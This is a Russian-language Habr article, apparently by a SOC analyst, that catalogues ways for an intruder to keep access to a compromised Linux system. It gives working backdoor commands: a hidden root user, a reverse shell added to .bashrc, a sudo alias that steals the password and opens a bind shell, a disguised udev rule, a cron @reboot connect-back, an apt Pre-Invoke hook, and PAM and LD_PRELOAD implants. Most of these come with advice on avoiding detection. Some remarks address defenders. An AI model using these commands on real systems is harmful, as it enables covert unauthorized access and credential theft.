Закрепление в Linux. Linux Persistence

145f575cc5ed400a6f8cf6e86657f298.jpg

Получив доступ к системе, важно его не потерять. Выключение узла, завершение процесса — все это разрывает бек-коннект. И приходится начинать сначала. Даже если вы успели получить учетные данные валидного пользователя, смена пароля способна создать массу проблем. В статье я собрала в одном месте известные мне способы, начиная от простых и довольно шумных, но есть и элегантные варианты, на мой вкус.

Disclaimer: Никакой rocket science. Ничего такого, о чем вам до этого могло быть неизвестно. Ну и конечно, я писала статью в ознакомительных целях. Все, что вы делаете потом только на вашей совести и под вашу ответственность.

Создание нового пользователя

Чтобы пользователю не сменили пароль, о нем не должны знать. Можно создать своего. Главный челленжд — сделать это незаметно, чтобы его не удалили.

Уровень 0: adduser hacker

Уровень 1: useradd -s /bin/bash hacker — команда более низкого уровня, она позволяет задавать разные параметры: ипуть до домашней директории (ее можно вообще не создавать, чтобы дольше оставаться незамеченным), оболочка по умолчанию, UID пользователя. Подсказка: Задайте UID меньше 1000, тогда ваша УЗ будет выглядеть для админа как daemon. И даже не будет отображаться на экране приветвия (кто использует GUI?). Можно сразу добавить пользователя в группу root. Ну или не забудьте хотя бы прописать своего пользователя в sudoers.

Уровень 99: sudo useradd -o -u 0 -g 0 -s /bin/bash deamon — Этой командой мы разрешили создавать пользователей с неуникальными UID и создали нового root (uid = 0), для которого нет домашнего каталога. Обратите внимание на красоту имени нового пользователя — это не опечатка.

Особые извращенцы могут вручную отредактировать файлы /etc/passwd, /etc/shadow и /etc/group, и создать домашнюю директорию.

Как аналитик SOC могу вам сказать точно, мы очень внимательно мониторим изменения во всех /etc/passwd и /etc/shadow. А потом могу сказать, что есть способ создать пользователя без записи в файл /etc/passwd. Для этого можно в файле /etc/nsswitch.conf определить альтернативную базу passwd.

### Ключи SSH Другой способ не потерять доступ при смене пароля, это прописать свой открытый ключ в ~/.ssh/authorized_keys. Тогда вообще никакой пароль больше не будет нужен. Все просто, генерируете ключ ssh-keygen, ключ .pub добавляете в authorized_keys, и не забудьте настроить правильные права (600), если это еще не сделано. Иначе не сможете воспользоваться своим бекдором.

«Автозагрузка»

Под автозагрузкой я тут понимаю любое действие, которое будет выполняться автоматически при старте системе или входе пользователя. Чтобы понять, где именно мы может закрепиться, надо понять, как происходит загрузка системы, какие есть этапы.

Автозагрузка на уровне ядра

Первым делом инициализируется ядро системы, которое уже запускает подсистему инициализации (systemd, init, upstart). Тут мы вряд ли сможем вынести для себя какую-то пользу. в файле конфигурации Grub /boot/grub2/grub.cfg помощью параметра ядра init вы можете указать какую программу стоит запускать сразу после завершения инициализации ядра. Вы можете загрузить оболочку bash вместо systemd. Обычно полезно для сброса пароля root, если вы его забыли.

linux /vmlinuz-4.8.0-22-generic root=/dev/mapper/systems-ubuntu ro quiet init=/bin/bash

systemd — автозагрузка системы инициализации

Этот процесс отвечает на запуск системных демонов, дополнительных сервисов, и скриптов на этапе инициализации системы. Обычно система инициализации имеет PID 1. Используйте команду ps -p1 | grep "init\|upstart\|systemd, чтобы узнать свою систему инициализации. Самой современной и распространенной является systemd. Любой скрипт можно добавить в автозагрузку как сервис. Для этого нужно создать unit-файл:

[Unit]
Description=My Script Service
After=multi-user.target
[Service]
Type=idle
ExecStart=/usr/bin/local/script.sh
[Install]
WantedBy=multi-user.target

После нужно сделать скрипт исполняемым sudo chmod u+x /usr/local/bin/script.sh и активировать службу sudo systemctl enable myscript.service.

Если вы мне позволите, я не буду тут описывать формат unit-файлов. Для этого есть Google. (например, вот.). Да и это выходит за рамки темы статьи. Но стоит сказать, где обычно в системе располагаются unit-файлы:

  • /usr/lib/systemd/system/ — юниты из установленных пакетов RPM — всякие nginx, apache, mysql и прочее

  • /run/systemd/system/ — юниты, создаваемые на лету — о них чуть позже

  • ~/.config/systemd/user/ — этот путь будет вам полезен, если вы не смогли подняться до root. Тут лежат user-mode services.

  • /etc/systemd/system/ — юниты, созданные системным администратором. Сюда можно размещать свои unit-файлы. А можно внести изменения в уже существующие, что будет менее заметно. Тут поможет только полет вашей фантазии.

  1. Создайте свой сервис.

  2. Впишите его в параметр Requires другого легитимного сервиса. И добавьте свой код с секцию OnFailure. В итоге ваш сервис будет стартовать вместе с легитимным. Если файл с юнитом найдет администратор и удалит его, то легитимный сервис не сможет стартануть (нет необходимой зависимости), вызовет ошибку и выполниться код из секции OnFailure.

Какие демоны тебя ведут?

Тут стоит сделать ремарку, systemd управляет сервисами и демонами, и это разные сущности. Главное отличие демона в том, что это фоновая неинтерактивная программа, которая полностью независима от пользовательского ввода. Помимо своих сервисов вы можете создавать свои демоны. Типов юнитов systemd довольно много и можно использовать любые, в зависимости от ваших целей: service, device, target, mount, automount, timer, socket, path, slice.

Автозагрузка rc.local и rc.common

Этот метод загрузки скриптов уже не используется. В современных Unix-системах этот функционал был полностью заменен systemd, но матрица MITRE ATT&CK выделает RC-скрипты в отдельную технику. Достаточно просто добавить свой код в /etc/rc.local. Что интересно, при старте системы, скрипты выполняются с правами root.

Для обеспечения обратной совместимости в системах использующих systemd, используется специальный генератор /usr/lib/systemd/system-generators/systemd-sysv-generator, который для RC-скриптов из /etc/init.d генерирует unit-файлы на лету и выполняет их как службы. Они и располагаются в /run/systemd/system/.

Окружения рабочего стола — XDG autostart

Большинство окружений рабочих столов (desktop environments) и менеджеров окон (windows managers) поддерживают автозагрузку программ (XDG autostart). Сущности хранятся в ~/.config/autostart или /etc/xdg/autostart/ и имеют расширение *.desktop. Код, определенный в этих файлах исполняется при входе пользователя и загрузки среды рабочего стола. Команды выполняются в контексте залогиневшегося пользователя. Можно настроить отложенный запуск и другие параметры. На самом деле пути ~/.config/autostart и /etc/xdg/autostart/ определены переменными окружения $XDG_CONFIG_HOME и $XDG_CONFIG_DIRS, их можно изменить, чтобы избежать детектирования, если для указанных каталогов настроен аудит доступа к файлам на чтение и запись.

[Desktop Entry]
Type=Application # Определяет тип сущности: приложение (application), ссылка (link) или каталог (directory)
Name=Welcome  # Имя определенное создателем сущности
Exec=/var/lib/gnome-welcome-tour  # Команда с аргументами, которую необходимо выполнить

.bashrc, .bash_profile и .bash_login

Эти файлы определяют настройки оболочки пользователя, в них можно определить команды, которые будут выполнены при запуске терминала. У файлов есть и общесистемные аналоги, которые определяют настройки для всей системы и находятся с каталоге /etc/. Файл .bash_profile выполняется только для интерактивных оболочек. .bashrc — для интерактивных и неинтерактивных. В Ubuntu файл profile вызывает файл .bashrc напрямую. Файл .bash_login не будет выполняться, если в системе есть .bashrc. Ну или как-то так. Не суть.

Суть в том, как мы можем использовать эти файлы и что они позволяют делать.

echo 'bash -i >& /dev/tcp/ip/port 0>&1' > ~/.bashrc — исполнится при входе пользователя и откроет реверс-шелл, главное, иметь ожидающий listener, где надо.

Один мой знакомый на собеседовании задает один простой вопрос: «Может ли команда для смены директории занимать 10 символов». Ответ: «Да сколько угодно, если повесить alias». Если развить тему, то можно придумать и как одной командой выполнить сразу несколько команд. Открывать backconnect, при вызове sudo.

alias sudo='echo -n "[sudo] password for \$USER: ";read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '

Скорее всего такой бекдор проживет ровно до момента, пока администратору не понадобится отредактировать .bashrc. Хотя кое-где пишут, что это супер скрытные техники, потому что админы очень редко перечитывают файлы конфигураций оболочки.

То ли дело переменные окружения, тем более, если уже есть для чего-то определенные. Подумаешь, одной больше — одной меньше. Пишем в файл .bashrc export PATH=$PATH:/opt/local/bin -, а потом в /opt/local/bin кладем наш собственный ls, который сначала открывает соединение на С2, и только потом выводит состав директории. Так как переменная PATH анализируется с конца, будет исполняться наш вредоносный ls, а не хороший системный. Spoiler: изменить значение переменных окружения можно не только через .bashrc. Ну и способ довольно сомнительный, всегда можно просто оставить закладку в самом исполняемом файле. Которая, правда, канет в лету вместе с обновлением.

Driver backdoor

Философия UNIX гласит, что все есть файл. А значит и подключаемые устройства тоже. В системе есть каталог /etc/udev/rules.d/, в котором хранятся правила для нормальной работы устройств. Изменяя эти правила, можно переименовать устройство, настроить права доступа к нему, но самое главное, что нас интересует — выполнить скрипт при подключении устройства.

RSHELL="ncat ncat -lvp 1234 -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null

Как вы могли догадаться, при подключении к виртуальной машине USB-устройства порт 1234 начнет слушать в ожидании наших команд.

Cron jobs и другие задания по расписанию

Crontab — первое, что приходит в голову, когда мы говорим о закреплении в системе Unix. Кажется, даже комментарии тут лишни. Crontab — это планировщик заданий в Linux, позволяет выполнять действия через определенный период, например 0 2 * * * /bin/sh backup.sh, или при наступлении события (перезагрузки сервера, например):

(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 1234 -e /bin/bash")|crontab 2> /dev/null

Можно помещать свои скрипты в специальные директории. Скрипты должны иметь права на выполнение и их имя не должно содержать точки.

  • /etc/cron.minutely — каждую минуту;

  • /etc/cron.hourly — каждый час;

  • /etc/cron.daily — каждый день;

  • /etc/cron.weekly — каждую неделю;

  • /etc/cron.monthly — каждый месяц.

Другой утилитой для создания запланированных заданий является at. Но в отличие от crontab, созданные с помощью нее задачи выполняются только один раз. Не придумала эффективного способа закрепиться с помощью нее в системе, кроме как устроить рекурсию, когда одна задача at при выполнении создает следующую.

Полноценной же альтернативой crontab являются таймеры systemd. Они могут вызывать выполнение различных действий в системе в заданное время. И даже больше: таймеры умею еще вызывать задание через некоторое заданное время после наступления события. По умолчанию в системе обычно существует несколько таймеров, посмотреть их можно командой systemctl status *timer. Таймеры, по сути являются теми же unit-файлами, только имя не .service, а .timer, и связаны с конкретным сервисом, который надо запускать по расписанию. Пример таймера, который запускает myMonitor.service каждую минуту:

[Unit]
Description=Logs some system statistics to the systemd journal
Requires=myMonitor.service

[Timer]
Unit=myMonitor.service
OnCalendar=--* ::00
[Install]
WantedBy=timers.target

PHP shell for web-server

Способ хорош, но не очень практичен. Должны сойтись звезды: сервер, к которому вы получили доступ должен выполнять роль web-сервиса. Ну или вам придется поднимать какой-нибудь apache самим. К тому же через shell вы всегда будете получать возможность выполнения кода с ограниченными правами службы, от которой сервис запущен. Опять же, если вы не перезапустите службу от имени root. Или каждый раз придется искать способ повышения привилегий. Но зато способ довольно незаметный, особенно если ваш web-shell будет принимать команды хотя бы base64 encoded, чтобы не светить системные команды в логах nginx. Шутка, способ ни разу не незаметный. Выполнение cat id_rsa.pub > ~/.ssh/authorized_keys от имени www-data, то, на чем вас точно поймают. (Если кто-то хоть иногда заглядывает в логи).

Dynamic Link Hijacking

Как создаются утилиты операционной системы? Пишется код, который потом компилируется. Код хотя бы немного продвинутой и сложной утилиты — это не один файл, а несколько, которые подключаются как библиотеки к основному. Библиотеки бывают статическими и динамическими. Статические нам неинтересны — на этапе компиляции их код целиком помещается в исполняемый файл, и мы мало можем на него повлиять. То ли дело динамические! Это отдельные файлы, независимые, которые лежат где-то в операционной системе. При запуске утилита с внешними зависимостями ищет нужные библиотеки в операционной системе. Вот тут мы и можем вмешаться.

Для начала нам надо найти такую утилиту, которая использует динамическую библиотеку. Понять, какая функция вызывается. В этом нам поможет утилита ltrace, она позволяет вывести вызовы всех внешних функций. Затем мы создаем свою библиотеку с таким же именем и определяем в ней такую же функцию. Важно, чтобы сигнатура нашей функции совпадала с сигнатурой исходной легитимной функции. Компилируем и размещаем в целевой системе.

Как же нам заставить теперь бинарный файл утилиты использовать нашу библиотеку? Нам поможет особенность динамического линковщика, он первыми загружает библиотеки, определенные в переменной LD_PRELOAD, и эти библиотеки имеют приоритет над остальными. То есть нам достаточно изменить переменную среды окружения LD_PRELOAD. Один из способов — export в .bashrc. Тоже самое можно сделать в файлах /etc/environment или /etc/security/pam_env.conf.

PAM

Pluggable Authentication Modules — модули для аутентификации, как несложно догадаться по переводу. До появления PAM администратору приходилось пройти все 12 кругов ада, чтобы настроить какую-то внешнюю систему аутентификации. Сейчас надо изменить пару строчек в паре конфигурационных файлов. Если в файле /etc/pam.d для всех определенных модулей выставить control_flag в значение optional, то мы сможет входить в систему вообще без пароля. Как и администраторы. Поэтому наш бекдорчик быстро найдут и закроют точку входа.

Чуть менее заметный ход — написать свой собственный модуль. Файл с ним необходимо разместить с другими модулями по пути /lib/x86_64-linux-gnu/security/. Что вы там реализуете, дело вашей фантазии: волшебный пароль, который открывает все двери, или логирование паролей других пользователей, а можно сразу открытие бекконнекта (why not?). Можно добавить свой модуль, можно заменить уже существующий. Берем исходники, делаем закладку, собираем и замещаем. Готово, вы прекрасны!

Классная статья про PAM есть на xakep.ru

apt-get

Это мой любимый способ. Хотя и не самый надежный. Админы не любят ничего обновлять на важных серверах. Конфигурационные файлы утилиты apt (менеджер пакетов) хранятся в директории /etc/apt/apt.conf.d/. Если у вас есть право на запись в эту директорию, то существует довольно изящный способ закрепления. Скорее всего понадобятся права root. Создайте файл и запишите в него APT::Update::Pre-Invoke {"CMD"};. Теперь каждый раз, когда администратор сервера будет выполнять apt-get update, будет исполняться ваша команда.

echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor

Способ подсмотрела у @RandoriSec. Интересно, можно ли подобное сделать для apt-get install?

В логах auditd я увидела запуск ncat, но там нет ни малейшего намека на то, в результате чего произошло выполнение команды. Так что аналитикам SOC придется сильно потрудиться, чтобы найти, где же спрятан ваш код и почему он выполняется.

Port Knocking. Постучимся по портам?

Если загуглить эту технику, то первым делом вы увидите «защищаемся», «харденинг» и «защитный режим обслуживания сети». Мало похоже на закрепление в системе.

Кратко суть: порт 22 (SSH) по умолчанию закрыт. Но где-то в системе заранее определена последовательность портов (они тоже закрыты) такая, что если в них постучаться в нужном порядке, то произойдет магия и для вашего IP-адреса откроется порт для подключения по SSH. Никогда раньше не слышала о подобном. Но, как оказалось, техника довольно распространенная, даже в putty есть штатный функционал для port knocking. На сервере должна быть запущена служба, которая ждет, когда же кто-то постучится в ее двери. Чаще всего это служба knockd, ее можно установить менеджером пакетов и в файле конфигураций прописать, чего ждать и что делать. Ну, а что делать вы вольны определять сами: открыть реверс шелл или отправить админу смешное послание.

image-loader.svg

Прекрасная техника, напоминает перестукивания секретными паролями через стену в детском лагере. Есть всего одна небольшая проблема. Установка нового пакета — дело шумное, а создание новой службы — палевное. Так что надо искать сервер с уже установленным knockd и вносить свои правки, либо тихо отключать логирование.

trap

Еще один способ, определенный в MITRE ATT&CK. Иногда скриптам и приложениям посылаются специальные команды, например ctrl + C, перехватив которые, скрипты выполняют некоторые действия. Определить эти действия можно командой trap. Но я так и не нашла, куда мне надо прописать этот trap, чтобы при нажатии на ctrl + C, например, из ping у меня открылся reverse-shell. А создавать свой скрипт, с которым это работает — очень такое себе. Ведь тогда какого-то пользователя системы надо заставить периодически запускать мой скрипт да еще и нажимать ctrl + C.

Итоги

Статьей я попыталась собрать в одном месте известные техники закрепления в Linux. Вся суть закрепления в том, чтобы как можно дольше продержаться в системе, а значит надо оставаться незамеченным. Поэтому persistence идет рука об руку с некоторым техниками defence evasion, ну и с вашей фантазией. Вы сами выбираете как называть скрипты и куда их размещать. И чем больше это будет похоже на легитимную деятельность, тем больше шансов продержаться в системе какое-то время.

Вы, наверняка, заметили, что я много внимания уделила тому, насколько та или иная техника может вас выдать. Чуть позже планирую собрать материал о том, как оставаться незамеченными в системе. И надеюсь, что аналитики SOC вынесли из статьи хотя бы несколько вещей, на которые стоит обращать внимание.

А еще буду благодарна за любую обратную связь. Если вдруг вы знаете еще какие-то техники или интересные приемы, о которых я не написала, обязательно поделитесь. Потому что процесс закрепления в системе творческий. Особенно, если у вас есть права root.

© Habrahabr.ru